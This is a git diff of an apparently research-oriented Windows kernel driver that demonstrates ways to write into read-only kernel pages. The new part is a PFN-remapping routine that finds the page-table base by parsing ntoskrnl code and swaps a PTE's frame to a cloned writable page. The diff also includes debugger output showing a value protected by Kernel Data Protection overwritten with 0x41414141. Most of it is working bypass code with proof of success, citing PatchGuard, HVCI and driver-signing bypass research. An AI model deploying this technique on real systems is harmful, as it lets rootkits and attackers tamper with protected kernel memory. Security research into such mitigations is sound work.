diff --git a/KernelWriteProtect/Inc/WriteProtectBypass.h b/KernelWriteProtect/Inc/WriteProtectBypass.h
index 31c7b23..4abcbe2 100644
--- a/KernelWriteProtect/Inc/WriteProtectBypass.h
+++ b/KernelWriteProtect/Inc/WriteProtectBypass.h
@@ -7,7 +7,7 @@
//
// Modifications:
// 2026-05-12 Created
-// 2026-05-15 Updated
+// 2026-06-03 Updated
// ========================================================================
// ========================================================================
@@ -87,7 +87,7 @@ EXTERN_C DECLSPEC_NOINLINE VOID __stdcall copy_memory_cr0_wp(
_In_ DWORD_PTR dwptrLength
);
-/// @brief Copies the contents of a source memory block to a destination memory block with write protect bypass using double mapping
+/// @brief Copies the contents of a source memory block to a destination memory block with write protect bypass using MDL double mapping
/// @param pDestination Pointer to the destination memory block to copy the bytes to
/// @param pcSource Pointer to the source memory block to copy the bytes from
/// @param dwptrLength Number of bytes to copy from the source to the destination
@@ -109,4 +109,15 @@ EXTERN_C DECLSPEC_NOINLINE VOID __stdcall copy_memory_pte(
_In_ DWORD_PTR dwptrLength
);
+/// @brief Copies the contents of a source memory block to a destination memory block with write protect bypass using PFN remapping
+/// @param pDestination Pointer to the destination memory block to copy the bytes to
+/// @param pcSource Pointer to the source memory block to copy the bytes from
+/// @param dwptrLength Number of bytes to copy from the source to the destination
+_IRQL_requires_max_(APC_LEVEL)
+EXTERN_C DECLSPEC_NOINLINE VOID __stdcall copy_memory_page_remapping(
+ _Out_writes_bytes_all_(dwptrLength) VOID* pDestination,
+ _In_reads_bytes_(dwptrLength) CONST VOID* pcSource,
+ _In_ DWORD_PTR dwptrLength
+);
+
#pragma endregion
\ No newline at end of file
diff --git a/KernelWriteProtect/KernelWriteProtect.vcxproj b/KernelWriteProtect/KernelWriteProtect.vcxproj
index 53aafcf..08aac06 100644
--- a/KernelWriteProtect/KernelWriteProtect.vcxproj
+++ b/KernelWriteProtect/KernelWriteProtect.vcxproj
@@ -57,7 +57,7 @@
true
- /EMITPOGOPHASEINFO /NOVCFEATURE /NOCOFFGRPINFO /FILEALIGN:0x200 /PDBALTPATH:$(ProjectName).pdb /Brepro /RELEASE /EMITTOOLVERSIONINFO:NO %(AdditionalOptions)
+ /EMITPOGOPHASEINFO /NOVCFEATURE /NOCOFFGRPINFO /FILEALIGN:0x200 /PDBALTPATH:$(ProjectName).pdb /Brepro /RELEASE /EMITTOOLVERSIONINFO:NO /DRIVER:WDM %(AdditionalOptions)
Ntoskrnl.lib
DebugFull
diff --git a/KernelWriteProtect/README.md b/KernelWriteProtect/README.md
index 0033d30..deadd0d 100644
--- a/KernelWriteProtect/README.md
+++ b/KernelWriteProtect/README.md
@@ -2,7 +2,7 @@
## Version
-- `v2.0.0`
+- `v3.0.0`
## Brief
@@ -12,55 +12,63 @@
- `CPL: 0`
- `OS: Windows`
- `Language: C`
-- Sample code that demonstrates three techniques for writing into read-only pages in kernel space using `CR0.WP` manipulation, `MDL` double mapping, and `PTE` manipulation
+- Sample code that demonstrates four techniques for writing into read-only pages in kernel space using `CR0.WP` manipulation, `MDL` double mapping, `PTE` manipulation, and `PFN` remapping.
## Usage
```
-0: kd> vertarget
+1: kd> vertarget
Windows 10 Kernel Version 26100 MP (2 procs) Free x64
+Product: WinNt, suite: TerminalServer SingleUserTS
Edition build lab: 26100.1.amd64fre.ge_release.240331-1435
-Kernel base = 0xfffff801`ece00000 PsLoadedModuleList = 0xfffff801`edcf5150
-Debug session time: Mon May 18 11:32:44.468 2026 (UTC - 4:00)
-System Uptime: 0 days 1:46:43.304
+Kernel base = 0xfffff801`cb400000 PsLoadedModuleList = 0xfffff801`cc2f52d0
+Debug session time: Fri Jun 5 15:50:12.936 2026 (UTC - 4:00)
+System Uptime: 0 days 0:01:50.980
-0: kd> g
+1: kd> g
+KDFILES: Replacing '\??\C:\pub\KernelWriteProtect.sys' with 'C:\Users\winterknife\Desktop\CNO-Programs\EVENSTAR\KernelWriteProtect\Bin\x64\KernelWriteProtect.sys'. File size 7KB.
+KdPullRemoteFile(FFFFAD0304FC5040): About to overwrite \??\C:\pub\KernelWriteProtect.sys and preallocate to 1a60
+KdPullRemoteFile(FFFFAD0304FC5040): Return from ZwCreateFile with status 0
+..
[DBG]: +++ KernelWriteProtect.sys Loaded +++
-[DBG]: KernelWriteProtect.sys Built May 18 2026 11:31:17
-[DBG]: KernelWriteProtect: DriverObject = FFFFBD0FF0496E20
+[DBG]: KernelWriteProtect.sys Built Jun 5 2026 15:23:55
+[DBG]: KernelWriteProtect: DriverObject = FFFFAD0305316E10
[DBG]: KernelWriteProtect: RegistryPath = \REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\KernelWriteProtect
-[DBG]: --- KernelWriteProtect.sys Unloaded ---
+[DBG]: KernelWriteProtect: g_dwProtectedValue KVA = 0xFFFFF801625A4000
+[DBG]: KernelWriteProtect: g_dwProtectedValue original contents = 0xDEADBEEF
+[DBG]: KernelWriteProtect: g_dwProtectedValue protected by static KDP.
Break instruction exception - code 80000003 (first chance)
-*******************************************************************************
-* *
-* You are seeing this message because you pressed either *
-* CTRL+C (if you run console kernel debugger) or, *
-* CTRL+BREAK (if you run GUI kernel debugger), *
-* on your debugger machine's keyboard. *
-* *
-* THIS IS NOT A BUG OR A SYSTEM CRASH *
-* *
-* If you did not intend to break into the debugger, press the "g" key, then *
-* press the "Enter" key now. This message might immediately reappear. If it *
-* does, press "g" and "Enter" again. *
-* *
-*******************************************************************************
-nt!DbgBreakPointWithStatus:
-fffff801`ed2fb1b0 cc int 3
+KernelWriteProtect_fffff801625a0000!DriverEntry+0xe0:
+fffff801`625a50e0 cc int 3
-0: kd> !pte 0xFFFFF78000000738
- VA fffff78000000738
-PXE at FFFFF2793C9E4F78 PPE at FFFFF2793C9EF000 PDE at FFFFF2793DE00000 PTE at FFFFF27BC0000000
-contains 0000000000286063 contains 0000000000285063 contains 0000000000284063 contains 8A00000000283121
-pfn 286 ---DA--KWEV pfn 285 ---DA--KWEV pfn 284 ---DA--KWEV pfn 283 -G--A--KR-V
+1: kd> !pte g_dwProtectedValue
+ VA fffff801625a4000
+PXE at FFFFE673399CCF80 PPE at FFFFE673399F0028 PDE at FFFFE6733E005890 PTE at FFFFE67C00B12D20
+contains 00000000001D0063 contains 00000000001CF063 contains 0A0000011169D863 contains 89000001C0FDF121
+pfn 1d0 ---DA--KWEV pfn 1cf ---DA--KWEV pfn 11169d ---DA--KWEV pfn 1c0fdf -G--A--KR-V
-0: kd> db 0xFFFFF78000000738 LC
-fffff780`00000738 41 41 41 41 41 41 41 41-41 41 41 41 AAAAAAAAAAAA
+1: kd> dd g_dwProtectedValue L1
+fffff801`625a4000 deadbeef
+
+1: kd> g
+[DBG]: KernelWriteProtect: g_dwProtectedValue modified contents = 0x41414141
+Break instruction exception - code 80000003 (first chance)
+KernelWriteProtect_fffff801625a0000!DriverEntry+0x10a:
+fffff801`625a510a cc int 3
+
+1: kd> !pte g_dwProtectedValue
+ VA fffff801625a4000
+PXE at FFFFE673399CCF80 PPE at FFFFE673399F0028 PDE at FFFFE6733E005890 PTE at FFFFE67C00B12D20
+contains 00000000001D0063 contains 00000000001CF063 contains 0A0000011169D863 contains 89000001BADC3121
+pfn 1d0 ---DA--KWEV pfn 1cf ---DA--KWEV pfn 11169d ---DA--KWEV pfn 1badc3 -G--A--KR-V
+
+1: kd> dd g_dwProtectedValue L1
+fffff801`625a4000 41414141
```
## Tested OS Versions
-- `Windows 11 25H2 Build 26200 Revision 8246 64-bit`
+- `Windows 11 25H2 Build 26200 Revision 8457 64-bit`
## References
@@ -69,4 +77,11 @@ fffff780`00000738 41 41 41 41 41 41 41 41-41 41 41 41 AAAAAAAAAAAA
3. [EfiGuard](https://github.com/Mattiwatti/EfiGuard)
4. [kernelhook](https://github.com/adrianyy/kernelhook)
5. [Exploit Development: Leveraging Page Table Entries for Windows Kernel Exploitation](https://connormcgarr.github.io/pte-overwrites/)
-6. [g_CiOptions in a Virtualized World](https://trustedsec.com/blog/g_cioptions-in-a-virtualized-world)
\ No newline at end of file
+6. [g_CiOptions in a Virtualized World](https://trustedsec.com/blog/g_cioptions-in-a-virtualized-world)
+7. [Melting Down PatchGuard: Leveraging KPTI to Bypass Kernel Patch Protection](https://www.fortinet.com/blog/threat-research/melting-down-patchguard-leveraging-kpi-to-bypass-kernel-patch-protection)
+8. [The Swan Song for Driver Signature Enforcement Tampering](https://www.fortinet.com/blog/threat-research/driver-signature-enforcement-tampering)
+9. [Code Execution against Windows HVCI](https://datafarm-cybersecurity.medium.com/code-execution-against-windows-hvci-f617570e9df0)
+10. [Intel VT-rp - Part 1. remapping attack and HLAT](https://tandasat.github.io/blog/2023/07/05/intel-vt-rp-part-1.html)
+11. [Intel VT-rp - Part 2. paging-write and guest-paging verification](https://tandasat.github.io/blog/2023/07/31/intel-vt-rp-part-2.html)
+12. [HEXACON2023 - Bypassing the HVCI memory protection by Viviane Zwanger and Henning Braun](https://www.youtube.com/watch?v=WWvd2_jd0ZI)
+13. [BusterCall](https://github.com/zer0condition/BusterCall)
\ No newline at end of file
diff --git a/KernelWriteProtect/Src/DrvMain.cpp b/KernelWriteProtect/Src/DrvMain.cpp
index d19dd0f..4753f4e 100644
--- a/KernelWriteProtect/Src/DrvMain.cpp
+++ b/KernelWriteProtect/Src/DrvMain.cpp
@@ -7,7 +7,7 @@
//
// Modifications:
// 2026-04-13 Created
-// 2026-05-16 Updated
+// 2026-06-05 Updated
// ========================================================================
// ========================================================================
@@ -17,24 +17,24 @@
#include "../Inc/Common.h"
#include "../Inc/WriteProtectBypass.h"
+// ========================================================================
+// Globals
+// ========================================================================
+
+#pragma region GLOBALS
+
+// RO global variable
+#pragma section(".rodata", read)
+__declspec(allocate(".rodata")) DWORD g_dwProtectedValue = 0xDEADBEEF;
+
+#pragma endregion
+
// ========================================================================
// Routines
// ========================================================================
#pragma region ROUTINES
-/// @brief DRIVER_UNLOAD callback routine that gets called to uninitialize the driver when it is unloaded
-/// @param pDriverObject Pointer to DRIVER_OBJECT structure representing the driver's driver object
-_IRQL_requires_(PASSIVE_LEVEL)
-EXTERN_C __declspec(code_seg("PAGE")) VOID __stdcall driver_unload(
- _In_ PDRIVER_OBJECT pDriverObject
-) {
- // Suppress W4 warning - C4100
- UNREFERENCED_PARAMETER(pDriverObject);
-
- DEBUG_PRINT("--- %s.sys Unloaded ---\n", __MODULE__);
-}
-
/// @brief DRIVER_INITIALIZE callback routine that gets called to initialize the driver when it is loaded
/// @param pDriverObject Pointer to DRIVER_OBJECT structure representing the driver's driver object
/// @param puncRegistryPath Pointer to UNICODE_STRING structure specifying the path to the driver's registry key
@@ -49,15 +49,36 @@ EXTERN_C __declspec(code_seg("INIT")) NTSTATUS __stdcall DriverEntry(
DEBUG_PRINT("%s: DriverObject = %p\n", __MODULE__, pDriverObject);
DEBUG_PRINT("%s: RegistryPath = %wZ\n", __MODULE__, puncRegistryPath);
- // Set routine to be called on driver unload
- pDriverObject->DriverUnload = static_cast(driver_unload);
+ // This driver cannot be unloaded
+ // /DRIVER:WDM linker switch + no DRIVER_UNLOAD routine + no MM_PROTECT_DRIVER_SECTION_ALLOW_UNLOAD flag
- // Write data into RO _KUSER_SHARED_DATA structure
+ DEBUG_PRINT("%s: g_dwProtectedValue KVA = 0x%p\n", __MODULE__, &g_dwProtectedValue);
+ DEBUG_PRINT("%s: g_dwProtectedValue original contents = 0x%I32X\n", __MODULE__, ReadULongNoFence(&g_dwProtectedValue));
+
+ // Mark the guest physical page containing g_dwProtectedValue as RO in the SLAT entry
+ NTSTATUS status = MmProtectDriverSection(&g_dwProtectedValue, 0, 0);
+ if (!NT_SUCCESS(status)) {
+ DEBUG_PRINT("%s: MmProtectDriverSection error = 0x%08X\n", __MODULE__, status);
+ return status;
+ }
+ DEBUG_PRINT("%s: g_dwProtectedValue protected by static KDP.\n", __MODULE__);
+ __debugbreak();
+
+ // Corrupt RO data page
BYTE byarrPayload[] = { 0x41, 0x41, 0x41, 0x41 };
- QWORD qwKuserSharedData = 0xFFFFF78000000000ULL;
- copy_memory_cr0_wp(reinterpret_cast(qwKuserSharedData + 0x738ULL), byarrPayload, sizeof(byarrPayload));
- copy_memory_double_mapping(reinterpret_cast(qwKuserSharedData + 0x73CULL), byarrPayload, sizeof(byarrPayload));
- copy_memory_pte(reinterpret_cast(qwKuserSharedData + 0x740ULL), byarrPayload, sizeof(byarrPayload));
+
+ //copy_memory_cr0_wp(&g_dwProtectedValue, byarrPayload, sizeof(byarrPayload));
+ //DEBUG_PRINT("%s: g_dwProtectedValue modified contents = 0x%I32X\n", __MODULE__, ReadULongNoFence(&g_dwProtectedValue));
+
+ //copy_memory_double_mapping(&g_dwProtectedValue, byarrPayload, sizeof(byarrPayload));
+ //DEBUG_PRINT("%s: g_dwProtectedValue modified contents = 0x%I32X\n", __MODULE__, ReadULongNoFence(&g_dwProtectedValue));
+
+ //copy_memory_pte(&g_dwProtectedValue, byarrPayload, sizeof(byarrPayload));
+ //DEBUG_PRINT("%s: g_dwProtectedValue modified contents = 0x%I32X\n", __MODULE__, ReadULongNoFence(&g_dwProtectedValue));
+
+ copy_memory_page_remapping(&g_dwProtectedValue, byarrPayload, sizeof(byarrPayload));
+ DEBUG_PRINT("%s: g_dwProtectedValue modified contents = 0x%I32X\n", __MODULE__, ReadULongNoFence(&g_dwProtectedValue));
+ __debugbreak();
return STATUS_SUCCESS;
}
diff --git a/KernelWriteProtect/Src/WriteProtectBypass.cpp b/KernelWriteProtect/Src/WriteProtectBypass.cpp
index d671b28..ee11213 100644
--- a/KernelWriteProtect/Src/WriteProtectBypass.cpp
+++ b/KernelWriteProtect/Src/WriteProtectBypass.cpp
@@ -5,11 +5,11 @@
//
// Description: Source file that contains the necessary routines to bypass
// the Write Protect (WP) mitigation to allow supervisor-level procedures
-// to write into read-only pages
+// to write into read-only pages in kernel space
//
// Modifications:
// 2026-05-12 Created
-// 2026-05-23 Updated
+// 2026-06-06 Updated
// ========================================================================
// ========================================================================
@@ -318,4 +318,206 @@ cleanup:
KeLowerIrql(kirqlOld);
}
+_Use_decl_annotations_
+VOID __stdcall copy_memory_page_remapping(
+ VOID* pDestination,
+ CONST VOID* pcSource,
+ DWORD_PTR dwptrLength
+) {
+ // Init local variables
+ PVOID pNtoskrnl = nullptr;
+ PVOID pMmGetVirtualForPhysical = nullptr;
+ DWORD dwOffsetImm64 = 0;
+ QWORD qwMmPteBase = 0;
+ PMMPTE_HARDWARE pMmpteHardwarePte = nullptr;
+ PMMPTE_HARDWARE pMmpteHardwarePde = nullptr;
+ PMMPTE_HARDWARE pMmpteHardwarePpe = nullptr;
+ PMMPTE_HARDWARE pMmpteHardwarePxe = nullptr;
+ PVOID pReserved = nullptr;
+ PHYSICAL_ADDRESS physicalAddressLow; __stosb(reinterpret_cast(&physicalAddressLow), 0, sizeof(PHYSICAL_ADDRESS));
+ PHYSICAL_ADDRESS physicalAddressHigh; __stosb(reinterpret_cast(&physicalAddressHigh), 0, sizeof(PHYSICAL_ADDRESS));
+ PHYSICAL_ADDRESS physicalAddressSkipBytes; __stosb(reinterpret_cast(&physicalAddressSkipBytes), 0, sizeof(PHYSICAL_ADDRESS));
+ PMDL pMdl = nullptr;
+ PVOID pPage = nullptr;
+ NTSTATUS status = STATUS_SUCCESS;
+ KIRQL kirqlOld = 0;
+ BOOLEAN bIrqlRaised = false;
+ MMPTE_HARDWARE mmpteHardwareNew; __stosb(reinterpret_cast(&mmpteHardwareNew), 0, sizeof(MMPTE_HARDWARE));
+ MMPTE_HARDWARE mmpteHardwareOld; __stosb(reinterpret_cast(&mmpteHardwareOld), 0, sizeof(MMPTE_HARDWARE));
+ BOOLEAN bPfnSwapped = false;
+
+ // Check if the write will span a page boundary
+ if (ADDRESS_AND_SIZE_TO_SPAN_PAGES(pDestination, dwptrLength) > 1) {
+ goto cleanup;
+ }
+
+ // Get the nt image base address
+ RtlPcToFileHeader(reinterpret_cast(RtlFindExportedRoutineByName), &pNtoskrnl);
+ if (pNtoskrnl == nullptr) {
+ goto cleanup;
+ }
+
+ // Get the KVA of nt!MmGetVirtualForPhysical
+ pMmGetVirtualForPhysical = RtlFindExportedRoutineByName(pNtoskrnl, "MmGetVirtualForPhysical");
+ if (pMmGetVirtualForPhysical == nullptr) {
+ goto cleanup;
+ }
+
+ /*
+ 0: kd> uf nt!MmGetVirtualForPhysical
+ nt!MmGetVirtualForPhysical:
+ fffff803`8ec6e980 488bc1 mov rax,rcx
+ fffff803`8ec6e983 48c1e80c shr rax,0Ch
+ fffff803`8ec6e987 488d1440 lea rdx,[rax+rax*2]
+ fffff803`8ec6e98b 4803d2 add rdx,rdx
+ fffff803`8ec6e98e 48b80800000080b1ffff mov rax,0FFFFB18000000008h
+ fffff803`8ec6e998 488b04d0 mov rax,qword ptr [rax+rdx*8]
+ fffff803`8ec6e99c 48c1e019 shl rax,19h
+ fffff803`8ec6e9a0 48ba0000000080aeffff mov rdx,0FFFFAE8000000000h
+ fffff803`8ec6e9aa 48c1e219 shl rdx,19h
+ fffff803`8ec6e9ae 81e1ff0f0000 and ecx,0FFFh
+ fffff803`8ec6e9b4 482bc2 sub rax,rdx
+ fffff803`8ec6e9b7 48c1f810 sar rax,10h
+ fffff803`8ec6e9bb 4803c1 add rax,rcx
+ fffff803`8ec6e9be c3 ret
+ */
+ // This is not the correct way to find nt!MmPteBase, use nt!KdDebuggerDataBlock
+ dwOffsetImm64 = 0x22UL;
+
+ // Get the KVA of nt!MmPteBase
+ // Starting from 64-bit Windows 10 1607 Anniversary Update (RS1) Build 14393, the PML4 table auto-entry index is randomized at boot time as part of KASLR (earlier, index fixed at 0x1ED)
+ qwMmPteBase = *reinterpret_cast(static_cast(pMmGetVirtualForPhysical) + dwOffsetImm64);
+
+ // Compute the KVA of the PTE for the write address
+ // BMI1 is only available since Haswell Intel microarchitecture (2013)
+ /*
+ 0: kd> uf nt!MiGetPteAddress
+ nt!MiGetPteAddress:
+ fffff803`8ea376c0 48c1e909 shr rcx,9
+ fffff803`8ea376c4 48b8f8ffffff7f000000 mov rax,7FFFFFFFF8h
+ fffff803`8ea376ce 4823c8 and rcx,rax
+ fffff803`8ea376d1 48b80000000080aeffff mov rax,0FFFFAE8000000000h
+ fffff803`8ea376db 4803c1 add rax,rcx
+ fffff803`8ea376de c3 ret
+ */
+ pMmpteHardwarePte = reinterpret_cast(_andn_u64(0x7ULL, qwMmPteBase + __ull_rshift(__ll_lshift(reinterpret_cast(pDestination), 0x10), 0x19)));
+
+ // Compute the KVA of the PDE for the write address
+ /*
+ 0: kd> uf nt!MiGetPdeAddress
+ nt!MiGetPdeAddress:
+ fffff803`8ea12470 48c1e912 shr rcx,12h
+ fffff803`8ea12474 81e1f8ffff3f and ecx,3FFFFFF8h
+ fffff803`8ea1247a 48b800000040d7aeffff mov rax,0FFFFAED740000000h
+ fffff803`8ea12484 4803c1 add rax,rcx
+ fffff803`8ea12487 c3 ret
+ */
+ pMmpteHardwarePde = reinterpret_cast(_andn_u64(0x7ULL, qwMmPteBase + __ull_rshift(__ll_lshift(reinterpret_cast(pMmpteHardwarePte), 0x10), 0x19)));
+
+ // Compute the KVA of the PDPTE for the write address
+ pMmpteHardwarePpe = reinterpret_cast(_andn_u64(0x7ULL, qwMmPteBase + __ull_rshift(__ll_lshift(reinterpret_cast(pMmpteHardwarePde), 0x10), 0x19)));
+
+ // Compute the KVA of the PML4E for the write address
+ pMmpteHardwarePxe = reinterpret_cast(_andn_u64(0x7ULL, qwMmPteBase + __ull_rshift(__ll_lshift(reinterpret_cast(pMmpteHardwarePpe), 0x10), 0x19)));
+
+ // Reserve a memory buffer in KVAS using system PTEs
+ pReserved = MmAllocateMappingAddressEx(PAGE_SIZE, __POOLTAG__, 0);
+ if (pReserved == nullptr) {
+ goto cleanup;
+ }
+
+ // Allocate nonpaged physical memory pages to build an MDL
+ // NOTE: When HVCI is enabled, dynamic allocation of executable memory is no longer possible
+ physicalAddressHigh.QuadPart = MAXULONG64;
+ pMdl = MmAllocatePagesForMdlEx(physicalAddressLow, physicalAddressHigh, physicalAddressSkipBytes, PAGE_SIZE, MmCached, MM_ALLOCATE_FULLY_REQUIRED);
+ if (pMdl == nullptr) {
+ goto cleanup;
+ }
+
+ // Map the MDL in the reserved memory buffer
+ pPage = MmMapLockedPagesWithReservedMapping(pReserved, __POOLTAG__, pMdl, MmCached);
+ if (pPage == nullptr) {
+ goto cleanup;
+ }
+
+ // Set the protection type for the mapping to RW
+ status = MmProtectMdlSystemAddress(pMdl, PAGE_READWRITE);
+ if (!NT_SUCCESS(status)) {
+ goto cleanup;
+ }
+
+ // Clone the original RO page into the newly allocated 4 KB RW page
+ __movsb(static_cast(pPage), static_cast(PAGE_ALIGN(pDestination)), PAGE_SIZE);
+
+ // Write into RW page
+ __movsb(static_cast(pPage) + BYTE_OFFSET(pDestination), static_cast(pcSource), dwptrLength);
+
+ // Raise the Interrupt Request Level (IRQL) of the current processor to DISPATCH_LEVEL
+ // This will prevent the thread scheduler from preempting the current thread
+ kirqlOld = KeRaiseIrqlToDpcLevel();
+ bIrqlRaised = true;
+
+ // Check if the PML4E is valid
+ if (!pMmpteHardwarePxe->Valid) {
+ goto cleanup;
+ }
+
+ // Check if the PDPTE is valid
+ if (!pMmpteHardwarePpe->Valid) {
+ goto cleanup;
+ }
+
+ // Check if the PDE is valid
+ // We do not support large pages at the moment
+ if (!pMmpteHardwarePde->Valid || pMmpteHardwarePde->LargePage) {
+ goto cleanup;
+ }
+
+ // Check if the PTE is valid
+ if (!pMmpteHardwarePte->Valid) {
+ goto cleanup;
+ }
+
+ // Swap the PFN in the PTE that maps the original RO page with the PFN in the PTE that maps the modified RW page
+ // WARNING: If the code / data page is protected by HLAT then the paging structure will be managed by the hypervisor
+ // WARNING: HyperGuard / Secure Kernel Patch Guard (SKPG) runs checks at random intervals and will bugcheck unless the original PFN is restored
+ mmpteHardwareOld = *pMmpteHardwarePte;
+ mmpteHardwareNew = mmpteHardwareOld;
+ mmpteHardwareNew.PageFrameNumber = MmGetMdlPfnArray(pMdl)[0];
+ if (_InterlockedCompareExchange64(reinterpret_cast(pMmpteHardwarePte), *reinterpret_cast(&mmpteHardwareNew), *reinterpret_cast(&mmpteHardwareOld)) != *reinterpret_cast(&mmpteHardwareOld)) {
+ goto cleanup;
+ }
+ bPfnSwapped = true;
+
+ // Invalidate any Translation Lookaside Buffer (TLB) entries for the target page
+ // Remember to flush the TLB on all logical processors by sending an IPI
+ __invlpg(pDestination); // INVLPG - Invalidate TLB Entries
+
+ // Cleanup
+cleanup:
+ // Restore the original IRQL of the current processor
+ if (bIrqlRaised)
+ KeLowerIrql(kirqlOld);
+
+ // Check if the PFN swapping wasn't successful
+ // Note that there is a memory leak on the success path
+ if (!bPfnSwapped) {
+ // Release the mapping
+ if (pPage)
+ MmUnmapReservedMapping(pPage, __POOLTAG__, pMdl);
+
+ // Free the physical page described by the MDL
+ if (pMdl)
+ MmFreePagesFromMdl(pMdl);
+
+ // Release the MDL
+ if (pMdl)
+ ExFreePool(pMdl);
+
+ // Free the reserved memory buffer
+ if (pReserved)
+ MmFreeMappingAddress(pReserved, __POOLTAG__);
+ }
+}
+
#pragma endregion
\ No newline at end of file